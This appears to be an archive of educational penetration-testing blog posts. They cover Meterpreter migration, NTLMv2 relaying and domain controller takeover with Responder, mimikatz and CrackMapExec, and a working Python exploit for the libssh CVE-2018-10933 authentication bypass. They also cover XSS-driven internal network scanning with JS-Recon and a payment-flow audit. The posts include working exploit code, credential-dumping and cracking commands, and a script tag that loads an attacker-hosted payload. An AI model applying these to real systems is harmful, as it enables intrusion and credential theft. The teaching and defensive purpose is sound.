    # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
    client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')

    current_pid = client.sys.process.getpid

    # Find the current and target process instances
    client.sys.process.processes.each { | p |
      if p['pid'] == target_pid
        target_process = p
      elsif p['pid'] == current_pid
        current_process = p
      end
    }

...

When the migration process is initiated, the debugger stops at the desired line:

We can see the value of the variables introducing it’s name:

Migration process detailed

1 Get the PID the user wants to migrate into. This is the target process.
2 Check the architecture of the target process whether it is 32 bit or 64 bit. It is important for memory alignment.
3 Check if the meterpreter process has the SeDebugPrivilege. This is used to get a handle to the target process.
4 Get the actual payload from the handler that is going to be injected into the target process. Calculate its length as well.
5 Call the OpenProcess() API to gain access to the virtual memory of the target process.
6 Call the VirtualAllocEx() API to allocate an RWX (Read, Write, Execute) memory in the target process
7 Call the WriteProcessMemory() API to write the payload in the target memory virtual memory space.
8 Call the CreateRemoteThread() API to execute the newly created memory stub having the injected payload in a new thread.
9 Shutdown the previous thread having the initial meterpreter running in the old process.

Detection with Procmon

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more. Its uniquely powerful features will make Process Monitor a core utility in your system troubleshooting and malware hunting toolkit.

In the next example, goodFile.exe is receiving connections and starting the migration process.

After migartion, an strange behaviour in explorer.exe is detected (opening a cmd to execute ping)

References

Offensive Security

Infosecinstitute

Advanced Penetration Testing: Hacking the World’s Most Secure Networks

Controlling the domain controller (Part 2) - Multirelaying NTLMv2 tokens to gain authentication.

2018-11-11T00:00:00+01:00

Previously

In the previous part, LLMNR poisoning and extraction of NLTMv2 hashes were explained, and a potentiall attack vector was found cracking NLTMv2 hashes. However, a main problem was found:

What happens if the NTLMv2 could not be cracked because the user/service password has a high complexity?

Multirelay

Multirelay is one of the newer features that Responder.py introduced towards the end of 2016. Using this tool we can relay our NTLMv1/2 authentication to a specific target and then, during a successful attack, execute code. So… it is perfect to try a new attack vector without cracking the NTLMv2 hash.

Two conditions must be taken into account:

SMB Signing needs to be disabled on the machine where the hash is relayed.
The user/service whose hash is relayed must have an account on the target computer.

Detecting SMB Signing - Runfinger.py

SMB (Server Message Block), is a protocol mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network. With the exception of Windows Server OS’s, all Windows operating systems have SMB Signing disabled by default. Therefore, a NTLMv2 packet enveloping a SMB authentication could be relied to another system to gain authentication if the SMB packet is not signed. However, the NTLMv2 packet could not be relayed to the same system because of Microsoft Security Bulletin MS08-068 patch.

Responder.py includes a tool that allows the detection of equipment with SMB Signing: Runfinger.py.

Notice that both Windows 7 installed by default in the environment don’t sign SMB packages:

Retrieving information for 192.168.56.10...
SMB signing: False   

...

Retrieving information for 192.168.56.20...
SMB signing: False   

Multirelaying

To achieve a successful exploitation of this attack we need to disable the SMB and HTTP servers used by Responder otherwise there would be some conflicts between Responder and Multi-relay.

Responder.py configuration

Previously, running RunFinger.py, SMB Signing configuration was detected and targets that don’t sign SMB were detected. Now, we will indicate Multirelay.py to relay all packages detected in the network to the target -t 192.168.56.20 and with any user -u ALL.

Multirelay.py

As we have seen, when an NTLMv2 hash is obtained, it is relayed to 192.168.56.20 obtaining a limited shell. What can this shell do?

* dump                  -> Extract the SAM database and print hashes.
* regdump KEY           -> Dump an HKLM registry key (eg: regdump SYSTEM)
* read Path_To_File     -> Read a file (eg: read /windows/win.ini)
* get  Path_To_File  -> Download a file (eg: get users/administrator/desktop/password.txt)
* delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
* upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
* runas  Command     -> Run a command as the currently logged in user. (eg: runas whoami)
* scan /24           -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
* pivot  IP address  -> Connect to another host (eg: pivot 10.0.0.12)
* mimi  command      -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
* mimi32  command    -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
* lcmd  command      -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)

Extracting credentials with mimikatz

Mimikatz is a post-explotation tool that extracts plaintexts passwords, hash, PIN code and kerberos tickets from memory. Mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

In the previous shell the mimi or mimi32 command is offered, so introducing the command mimi sekurlsa::logonpasswords will extracts passwords, keys, pin codes, tickets from the memory of lsass.

Perfect, domain’s password of Administrator has been extracted, and now?

        wdigest :
         * Username : Administrator
         * Domain   : LAJA
         * Password : I$ec1234

Road to domain controller - CrackMapExec

Controlling the Domain Controller is one of the goals of a pentest. But how could we got there?

CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of “Living off the Land”: abusing built-in Active Directory features/protocols to achieve it’s functionality and allowing it to evade most endpoint protection/IDS/IPS solutions.

It is a very interesting tool with a lots of options. In this case, we will try to enumerate in which server of the network we can log in with the previous credentials retrieve: Administrator/I$ec1234. The following command would be executed:

crackmapexec smb 192.168.56.0/24 -u 'Administrator' -p 'I$ec1234'

If the host shows Pwn3d!, it indicates that the credentials worked and some actions could be performed in the system. Furthermore, some modules could be executed when credentials are valid, in this case --pass-pol to retrieve password policy, uac to check UAC status or enum_avproducts to check with antivirus systems are deployed by the system.

It’s raining shells!! - Retrieving shells in all Pwn3d! systems

There is a module in CrackMapExec that allows inject meterpreter. So… let’s inject meterpreter in all systems that allows authentication with the previous credentials… but, what is meterpreter?

Meterpreter is an advanced extensible payload that uses an in-memory DLL injection. It significantly increases the post-exploitation capabilities of the Metasploit Framework and would allow to retrieve a reverse shell.

Configuring the listener to retrieve shells:

Configuring crackmapexec to inject meterpreter and execute reverse shells:

msf5 exploit(multi/handler) > sessions          

 Active sessions
 ===============                                                                                                                                                                 
  Id  Name  Type                     Information                           Connection                                      
  --  ----  ----                     -----------                           ----------      
  1         meterpreter x86/windows                                        192.168.56.1:14744 -> 192.168.56.20:49260 (192.168.56.20)
  2         meterpreter x86/windows  LAJA\Administrator @ WIN-1DBC39578NO  192.168.56.1:14744 -> 192.168.56.99:50257 (192.168.56.99)
  3         meterpreter x86/windows                                        192.168.56.1:14744 -> 192.168.56.10:49417 (192.168.56.10)  

Wow, we have an interactive shell in all the systems in the environment with Administrator privileges.

The final steps to accomplish a domain controller pentesting is to extract the contents of ntds.dit file.

Extracting and cracking ntds.dit file

The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.

There are several ways to extract these files, in this case the msfconsole’s ntdsgrab module will be used.

To retrieve the contents of NTDS.dit the following steps would be followed:

1 Esedbexport to extract the tables of NTDS.dit
2 Ntdsextract to retrieve information of the users using de SYSHIVE file retrieved with ntdsgrab.

References

Responder.py (SpiderLabs)

Responder.py (Lgandx)

Notsosecure

Controlling the domain controller (Part 1) - LLMNR poisoning with Responder.py and cracking NTLMv2 tokens

2018-11-04T00:00:00+01:00

This series of articles will focus on Microsoft Windows Active Directory security. The techniques described are not of my own, there is only for education purposes and a useful cheat sheet of how to go ahead in a Windows domain based infrastructure.

This is a long article, so if you want to go to the attacking part, navigate here

Notice that the attack could be exploited when a user or a service fails to navigate to a resource. A bad configured service/script/program or a bad access for a current user, could give an attacker the possibility to extract a domain password.

All Controlling the Domain Controller articles could be found here:

What is an Active Directory

An Active Directory is the most common infrastructure in corporate networks. It permits centralize and share information like user accounts, shared folders, printers in a usefull administrative way. When you form part of a domain, you account use the domain identifier to authenticate and see what permissions you have (jlajara@domain.com or DOMAIN\jlajara), so it is easy to log in a computer of the domain, connect to the company mail, use the enterprise printer and access to shared folders.

Based on Microsoft description:

A directory service, such as Active Directory Domain Services (AD DS), provides the methods for storing directory data and making this data available to network users and administrators. For example, AD DS stores information about user accounts, such as names, passwords, phone numbers, and so on, and enables other authorized users on the same network to access this information.

Active Directory stores information about objects on the network and makes this information easy for administrators and users to find and use. Active Directory uses a structured data store as the basis for a logical, hierarchical organization of directory information.

More info

What is a Domain Controller and why is juicy for us?

In an Active Directory infraestructure, there must be a brain that centralices the activity of the users, resources and permissions. So a Domain Controller is this critical part. A good defintion from techopedia could be:

A domain controller (DC) is a server that responds to security authentication requests within a Windows Server domain. It is a server on a Microsoft Windows or Windows NT network that is responsible for allowing host access to Windows domain resources.

A domain controller is the centerpiece of the Windows Active Directory service. It authenticates users, stores user account information and enforces security policy for a Windows domain.

And… the DC stores all the users credentials to handle authentication

A computer with all the users in the domain = GOLD

How Windows stores credentials?

A Windows computer stores credentials in a hashed (LM hash or as a NTLM hash) format within files in the C:/Windows/System32/Config directory or HKEY_LOCAL_MACHINESAM registry. SAM(Security Account Manager) contains the hashed passwords, however they are encrypted using the boot key within the SYSTEM file

Theorically, SAM files can not be accessed or copied while the system is running. But there are techniques to extract the SAM database. We will discuss in further articles.

Has a Domain Controller a SAM?

A Domain Controller use NTDS.dit instead of a SAM. The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. It uses Extensible Storage Engine (ESE) as engine.

Attacking: LLMNR Poisoning with Responder.py and NTLMv2 cracking

What is LLMNR?

The Link-Local Multicast Name Resolution (LLMNR) is a protocol based on the Domain Name System (DNS) packet format that allows both IPv4 and IPv6 hosts to perform name resolution for hosts on the same local link.

A normal workflow is the following:

Therefore, when a user/service try to connect to a resource or host (ex. \jlajarashared), the following steps are used to determine the IP:

1 Search in host file C:/Windows/System32/Drivers/etc/hosts
2 Do a DNS request
3 Broadcast a LLMNR package waiting the response from the network.

This last step, has security implications. What would happend when a malicious user replies to that request saying that he knows the resource?

Therefore, when a user/service tries to access to a unknown host, all 3 steps to search the resolutions are followed, if not, the following error is thrown:

LLMNR Poisoning with Responder.py

Responder.py is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

A LLMNR poiser, just what we need to intercept LLMNR packages and see its content. But how it works?

Let’s set up an Active Directory environment to test this attack. It will consist in the following:

1 Domain Controller (192.168.56.99)
2 Windows 7 machines (192.168.56.10-20)
1 Attacker (192.168.56.1)

The following steps are going to be followed by the attacker:

1 Configure Responder.py to poison LLMNR events (turning on SMB and HTTP server)
2 Start listening to LLMNR events in the network interface (vboxnet0 in this case)
3 Automatically poison LLMNR events to extract hashes.

NTLMv2 hashes

At the end of the previous Proof of Concept, a NTLMv2-SSP is retrieved… but what is this kind of hash?

NTLM (NT Lan Manager), is a suite of Microsoft security protocols based on challenge-response that provides authentication, integrity, and confidentiality to users. Can be obtained by MiTM techniques, by dumping the SAM or memory database (Mimikatz) or by extracting the contents of NTDS.dict file in the Domain Controller. There are two types of NTLM packages:

NTLMv2 has the same concept as NTLMv1 but with a stronger algorithm.
NTLMv2 does not allow Pass-the-hash attacks.

How a Domain Controller checks authentication with a NTLM package?

1 A user tries to access a shared directory.
2 The client machine sends the user name of the server in plain text.
3 The server generates a 16-byte random number (challenge) and is sent by the client computer.
4 The client encrypts the challenge with his password hash and sends it to the server (reply)
5 The server sends the following objects to the domain controller.
- Username
- Challenge sent to customer.
- Response received from the client.
6 The domain controller uses the user to obtain the hash of your password stored in NTDS.
7 The domain controller compares the response and if identical authorizes access.

That is the NTLMv2 package explained:

So… if by encrypting the challenge we get the answer… can the algorithm be cracked?

Cracking NTLMv2 hashes

NTLMv2 could be cracked if the challenge produces the same response after is encrypted using the correct user password. We could speed it up with John or Hashcat

john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 3 hash.txt

In the next Proof of Concept, a dictionary is used to speed up the cracking proccess:

But, what would happen if the password is not in a dictionary or has a minimum security requirements, we will see in the next Controlling the Domain article.

References

Responder.py (SpiderLabs)

Responder.py (Lgandx)

Notsosecure

Cracking NTLM

Libssh Authentication Bypass Detailed (CVE-2018-10933)

2018-10-23T00:00:00+02:00

About the vulnerability

Peter Winter-Smith @peterwintrsmith, has discovered a four-year-old bug in Secure Shell libssh implementation that allows anyone to gain unfettered administrative control of a vulnerable server. The issue is basically a bug in the libssh library, not to be confused with the similarly named libssh2 or OpenSSH.

The vulnerability CVE-2018-10933 (6.4 CVSS) is described as follows:

A vulnerability was found in libssh’s server-side state machine before versions 0.7.6 and 0.8.4. A malicious client could create channels without first performing authentication, resulting in unauthorized access.

The vulnerability was introduced in version 0.6, released in 2014, and survived until October 16th, 2018 whereupon it was fixed in versions 0.8.4 and 0.7.6.

About LibSSH

Libssh is a multiplatform C library implementing the SSHv2 protocol on client and server side. With libssh, you can remotely execute programs, transfer files, use a secure and transparent tunnel, manage public keys and much more …

What systems/applications are using libssh and are affected by this vulnerability?

Debian, Ubuntu, SUSE, Cisco and F5 Networks are addressing patches between others. Also this library is in use by many small applications and embedded systems, among them GnuGK, a VOIP gateway service.

How the vulnerability works?

The vulnerability makes it possible to log in by presenting a server with a SSH2_MSG_USERAUTH_SUCCESS message rather than the SSH2_MSG_USERAUTH_REQUEST message the server was expecting.

This a workflow of the authentication schema and authentication bypass from Guardicore:

Normally, in a typicall conection, user sends a SSH2_MSG_USERAUTH_REQUEST that contains the client’s username and authentication data, such as a password. When the server validates this content, it allows the connection.

The problem is when an user sends a SSH2_MSG_USERAUTH_REQUEST the following code is triggered:

SSH_PACKET_CALLBACK(ssh_packet_userauth_success) {
  (void)packet;
  (void)type;
  (void)user;

//...
  session->auth.state = SSH_AUTH_STATE_SUCCESS;
  session->session_state = SSH_SESSION_STATE_AUTHENTICATED;
  session->flags |= SSH_SESSION_FLAG_AUTHENTICATED;


//..
/* Reset errors by previous authentication methods. */
    ssh_reset_error(session);
    session->auth.current_method = SSH_AUTH_METHOD_UNKNOWN;
  return SSH_PACKET_USED;
}

Then, the servers session object is set to authenticated and when the client sends a SSH_MSG_CHANNEL_OPEN message, the following state verification in ssh_packet_channel_open is bypassed.

if (session->session_state != SSH_SESSION_STATE_AUTHENTICATED){
    ssh_set_error(session,SSH_FATAL, "Invalid state when receiving channel open request (must be authenticated)");
    goto error;
  }

About the exploit

Paramiko is used because is a Python implementation of the SSHv2 protocol, providing both client and server functionality. It would send the SSH2_MSG_USERAUTH_SUCCESS to take advantage of the vulnerability.

A socket to the vulnerable libssh server would be openned (in this case port 127.0.0.1:2222). After that, a Paramiko client would be started pointing to the socket and a MSG_USERAUTH_SUCCESS would be sent. After establishing the connection, a command received as first argument will be sent and the response will be returned.

import sys
import paramiko
import socket

s = socket.socket()
s.connect(("127.0.0.1",2222))
m = paramiko.message.Message()
t = paramiko.transport.Transport(s)
t.start_client()
m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
t._send_message(m)
c = t.open_session(timeout=5)
c.exec_command(sys.argv[1])
out = c.makefile("rb",2048)
output = out.read()
out.close()
print (output)

Proof of concept

The vulnerability will be tested using the vulnerable libssh docker of vulnhub (More info).

1 Test that root user has a SSH password.
2 Nmap to detect the service running.
3 Detection of a vulnerable version of libssh (0.8.1).
4 Using the exploit to execute commands.

References

ARS technica

Guardicore analysis

Ethical Hackers club

JS-Recon detailed. Analizying the internal network with a XSS

2018-10-18T00:00:00+02:00

JS-Recon is a network reconnaissance tool written in JavaScript by @lavakumark, which makes use of HTML5 features like Cross Origin Requests(CORs) and WebSockets.

JS-Recon can perform:

Port Scans
Network Scans
Detecting private IP address

And… what is the impact here? Well, with a browser, we can try to determine the status of an internal website, trying to avoid firewall restrictions with a XSS or tricking our victim to visit out site with the javascript code.

How does it work?

Definitions

CORS (Cross-Origin Resource Sharing): mechanism that uses additional HTTP headers to tell a browser to let a web application running at one origin (domain) have permission to access selected resources from a server at a different origin.

WebSockets: The WebSocket API is an advanced technology that makes it possible to open a two-way interactive communication session between the user’s browser and a server. With this API, you can send messages to a server and receive event-driven responses without having to poll the server for a reply.

Description of JS-Recon funcionallity

CORS XMLHttpRequest has five possible readystate status and WebSocket has four possible readystate status.

But, what is a readystate status?

ReadyState property returns the state an XMLHttpRequest client is in. An XHR client exists in one of the following states:

0 request not initialized
1 server connection established
2 request received
3 processing request
4 request finished and response is ready

When a new connection is made to any service the status of the readystate property changes based on the state of the connection. This transition between different states can be used to determine if the remote port to which the connection is being made is either open, closed or filtered.

Port Scanning:

When a WebSocket or CORS connection is made to a specific port of an IP address in the internal network the initial state of WebSocket is readystate 0 and for CORS its readystate 1. Depending on the status of the remote port, these initial readystate status change sooner or later. The below table shows the relation between the status of the remote port and the duration of the initial readystate status. By observing how soon the initial readystate status changes we can identify the status of the remote port.

Port Status	WebSocket (ReadyState 0)	WebSocket (ReadyState 1)
Open (applications type 1 & 2)	< 100ms	< 100ms
Closed	~ 1000ms	~ 1000ms
Filtered	> 3000ms	> 3000ms

There are some limitations to performing port scans this way. The major limitation is that all browser’s block connections to well known ports and so they cannot be scanned. The other limitation is that these are application level scans unlike the socket level scans performed by tools like nmap. This means that based on the nature of the application listening on a particular port the response and interpretation might vary.

There are four types of responses expected from applications:

1 Close on connect: Application terminates the connection as soon as the connection is established due to protocol mismatch
2 Respond & close on connect: Similar to type-1 but before closing the connection it sends some default response
3 Open with no response: Application keeps the connection open expecting more data or data that would match its protocol specification
4 Open with response: Similar to type-3 but sends some default response on connection, like a banner or welcome message

The behavior of WebSockets and COR for each of these types is shown in the table below.

Application Type	WebSocket (ReadyState 0)/CORS (ReadyState 1)
Closed on connect	< 100ms
Response & close on connect	< 100ms
Open with no response	> 3000ms
Open with response	< 100ms (FF & Safari) \| > 300ms (Chrome)

Network Scanning:

The port scanning technique can be applied to perform horizontal network scans of internal networks. Since both an open port and a closed port can be accurately identified, horizontal scans can be made for specific ports that would be allowed through the personal firewalls of most corporate systems.

Identification of an open or closed port would indicate that a particular IP address is up.

Ports like 445 or 3389 are ideal for such purpose as these are usually allowed across personal firewalls of desktop systems. It has been found that port 445 is of Application type-1 on Windows 7 and can be detected whether it is open or closed. However port 445 on Windows XP and port 3389 are of application type-3 and the host can only be detected if these ports are closed on such systems.

Detecting Private IP Address:

Most home user’s connected to WiFi routers are given IP addresses in the 192.168.x.x range. And the IP address of the router is often 192.168.x.1 and they almost always have their administrative web interfaces running on port 80 or 443.

These two trends can be exploited to guess the private IP address of the user in two steps:

Step 1: Identify the user’s subnet This can be done by scanning port 80 and/or 443 on the IP addresses from 192.168.0.1 to 192.168.255.1. If the user is on the 192.168.3.x subnet then we would get a response for 192.168.3.1 which would be his router and thus the subnet can be identified.

Step 2: Identify the IP address Once the subnet is identified we scan the entire subnet for a port that would be filtered by personal firewalls, port 30000 for example. So we iterate from 192.169.x.2 to 192.168.x.254, when we reach the IP address of the user we would get a response (open/closed) because the request is generated from the user’s browser from within his system and so his personal firewall does not block the request.

Analyzing Detecting IP Address

The basis of the rest of the functionality are the same. However, to not extend this article, only a funcionatility would be analyzed:

The first function called is find_private_ip():

function find_private_ip()
    {
        scan_type=3;
        network_address = [192,168,0,1];
        reset_scan_out();
        document.getElementById('result').innerHTML = "Detection started<br>";
        find_network();        
    }

It sets variables and cleans the output. Then calls the function find_network():

    function find_network()
    {
        if(network_address[2] > 255)
        {
            network_address[2] == 0;
            document.getElementById('result').innerHTML = "The local network could not be identified...detection stopped";
        }
        else
        {
            document.getElementById('result').innerHTML += "Currently checking - " + network_address.join(".");
            network_address[2]++;
            is_dest_up(1);
        }
    }

Find_network() checks if the 192.168.X.X value, that corresponds with the subnet of the victim is over 255. If this value is over, the subnet could not be verified and the detections tops.

If subnet values is not over 255, adds 1 to the subnet mask and calls is_dest_up(1):

    function is_dest_up(pis_code)
    {
        var pis_port = 80;
        
        ...

        start_time = (new Date).getTime();
        try
        {
            ws = new WebSocket("ws://" + network_address.join(".") + ":" + pis_port);
            ...
            setTimeout("check_idp(1)",100);
            
        }
        catch(err)
        {
            document.getElementById('result').innerHTML += "<b>Scan stopped. Exception: " + err + "</b>";
            return;
        }
    }

The function set the port of the router to 80. Then starts a timmer and creates a websocket trying to connect to the port 80 in the IP that iteracts. Therefore, if the there is a response in the 80 of the router IP and a delay in the response, the script could determine the subnet IP.

    function check_idp(pis_code)
    {
        var interval = (new Date).getTime() - start_time;
        if(ws.readyState == 0)
        {
            if(interval > closed_port_max)
            {
                ...
                    setTimeout("find_network()",1);
            }
            else
            {
                setTimeout("check_idp(" + pis_code + ")",100);
            }
        }
        else
        {
            ...
                document.getElementById('result').innerHTML = "Network found -- " + network_address.join(".") + "..checking for IP<br>";
                setTimeout("find_ip()",1);
            ...
        }
    }

Check_idp() checks the readyState of the socket, if is equal to 0 and the time of the interval is over the closed_port_max seconds, the port is closed and continues enumerating the next subnet. If not, calls the function again to check if the readyState has changed and if it has changed, it calls find_ip() doing a similar process to guess the IP of the user.

Taking advantage of Cross-Site Scripting to get the Internal IP of a Victim

After analyzing the potential of JS-Recon, an attacker can think about:

Infect the victim with a XSS
Detect the internal IP of the victim
Detect the open services of the victim
Detect the desired open services of the IPs in the victim LAN

Therefore, editing the javascript and invoking find_network() first, and when the victim IP is detected, call scan_ports() passing the victim IP as parameter and ending calling scan_network() specifying the IP range of the victim LAN and the desired port/s, we could do a complete local scan of a victim network using a script.

In this POC only the internal IP is detected and retrieved:

If we inject the malicious javascript in the XSS or call to a hosted javascript in our machine:

<script src="http://localhost/1.js" />

Automatically, the script will try to find our router interface and detect the IP Range:

After finding the subnet, the script will try to find the internal IP of the victim:

Finally, an assyncronous request to the attacker site will be done passing the internal IP as parameter:

Limitations

Blocked Ports: To avoid Cross Protocol exploitation almost all popular browsers block connections to certains well known ports. Due to this the status of these ports cannot be determined.

Linear Scanning: The determination of port status is based on timing of the readyState status changes. Opening multiple simultaneous connections interferes with this timing leading to unreliable results. Hence to avoid such situations all scans are performed one port at a time.

Internal Networks Only: As stated above, timing is critical to identification of port status. Depending on the location of the target device this timing could vary. JSRecon has been tuned to scan internal networks with very low turn around time. Scanning external networks would require only two minor changes - values of the variables open_port_max and closed_port_max must be suitable updated.

References

JS-Recon Site

JS-Recon - Description

Auditing a Payment Processing of a Booking Framework

2018-10-07T00:00:00+02:00

This article is thanks to the collaboration with Rayco Betancor and his crazy ideas and deep knowledge of how a Payment processing works, and a lot of trying different requests, forcing errors and trying harder.

Note that this is a real scenario, but the back end is hidden and parameters modified trying to avoid some identification.

About the network

The booking framework network was in AWS service instance, that implies:

Packet Sniffing It is not possible for a virtual instance running in promiscuous mode to receive or sniff traffic that is intended for a different virtual instance. While customers can elect to place their interfaces into promiscuous mode, the hypervisor will not deliver any traffic to an instance that is not addressed to it. Even two virtual instances that are owned by the same customer located on the same physical host cannot listen to each other’s traffic. Additionally, attacks such as ARP cache poisoning do not work within Amazon EC2 and Amazon VPC. While Amazon EC2 does provide ample data protection between customers by default, as a standard practice it is best to always encrypt sensitive traffic.

A bunch of test couldn’t bee performed. The only thing we could do was enumerate but we haven’t found any interesting backend without doing the proper POST or GET request. Ports 8443, 9443 the rest was closed or doing some redirects to pages out of scope.

So, what to do now? Stop here the pentest? We can’t enumerate anything because we receive 404 NOT FOUND when we try to fuzz and any interesting port to exploit.

What to do next? Let’s try to simulate a real booking scenario to figure out how the booking and payment workflow works.

Understanding the workflow

It is important to understand the process since a customer does a booking until he/she pays, via online and he/she receives the booking confirmation. In this case, and generally in the payment process the workflow is the following.

Forcing errors to retrieve information

When fuzzing parameters, we notice that there was some error with Stripe.

Response:

HTTP/1.1 200 OK Date: Wed, 03 Oct 2018 14:54:40 GMT Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; 
includeSubDomains; preload Content-Type: text/html;charset=UTF-8 Content-Language: en-US Cache-Control: max-age=604800 Expires: Wed, 10 Oct 2018 14:54:40 GMT Vary: 
Connection: close Content-Length: 948  
<html> <head><title>Stripes validation error report</title></head> <body style="font-family: Arial, sans-serif; font-size: 10pt;"> <h1>Stripes validation error report
</h1><p> Here's how it is. Someone (quite possibly the Stripes Dispatcher) needed to get the source page resolution. But no source page was supplied in the request, 
and unless you override ActionBeanContext.getSourcePageResolution() you're going to need that value. When you use a <stripes:form> tag a hidden field called '_sourcePage'
 is included. If you write your own forms or links that could generate validation errors, you must include a value  for this parameter. This can be done by calling 
 request.getServletPath(). </p><h2>Validation errors</h2><p> <div style="color:#b72222; font-weight: bold">Please fix the following errors:</div><ol><li style="color: 
 #b72222;">The value "VISA&quot;&lt;wow&gt;" is not a valid value for field Card Cardtype</li></ol></p></body></html>

Therefore, we know the payment process was using Stripe: Stripes validation error report

Stripe

According to Stripe:

Stripe is the best software platform for running an internet business. We handle billions of dollars every year for forward-thinking businesses around the world. Stripe builds the most powerful and flexible tools for internet commerce. Whether you’re creating a subscription service, an on-demand marketplace, an e-commerce store, or a crowdfunding platform, Stripe’s meticulously designed APIs and unmatched functionality help you create the best possible product for your users. Millions of the world’s most innovative technology companies are scaling faster and more efficiently by building their businesses on Stripe

More information Stripe.

To keep in mind, reading the documentation is the best way to understand what parameters mean and how to try to force the application to enter in an undesired state.

Vulnerabilities found

Reflected XSS after Booking Confirmation

When a user inputs his/her booking information, like username, last name, city, and the booking is confirmed. The user retrieves his/her information with the booking details. However, if a malicious user inputs a XSS Payload that bypass the sanitizer, when the confirmation is rendered, the javascript content would be executed. A malicious user could distribute the link of the confirmation to force the victim to execute the javascript code, letting steal of cookies, redirects, keylogging…

Input with XSS payload:

Reflection after submission:

Race condition causing a possible DOS Thread extenuation

There is a race condition when submitting various simultaneous requests in the payment process, the servers keeps the thread opened until process all the requests. Malicious user could submit several request trying to exhaust the thread pool, forcing the web server to deny all new requests.

Oficial stripe documentation indicates:

Instead of “You can use our API 1000 times a second”, this rate limiter says “You can only have 20 API requests in progress at the same time”. Some endpoints are much more resource-intensive than others, and users often get frustrated waiting for the endpoint to return and then retry. These retries add more demand to the already overloaded resource, slowing things down even more. The concurrent rate limiter helps address this nicely.

Vulnerabilities agains logic of the application

When confirming a booking, there is a form that requires the card information. A select menu is shown with the avaible types of card: VISA, Mastercard, American Express and UnionPay. Therefore, users could change the type of its card. This unexepected processing, would impact against business logic.

In Stripe API, the following configuration could be determined:

The brand parameter of the card object exposes whether the card brand is Visa, American Express, MasterCard, Discover, JCB or Diners Club. A card brand may be Unknown if we are unable to determine its brand.

Payment form:

Editing the request changing the card type to “JCB”, the data would arrive to Stripe processing.

Note that in the response there is not an error causing for not supporting JCL, is an error for using a fake card. When an unexistent card type is used, the following error is showed: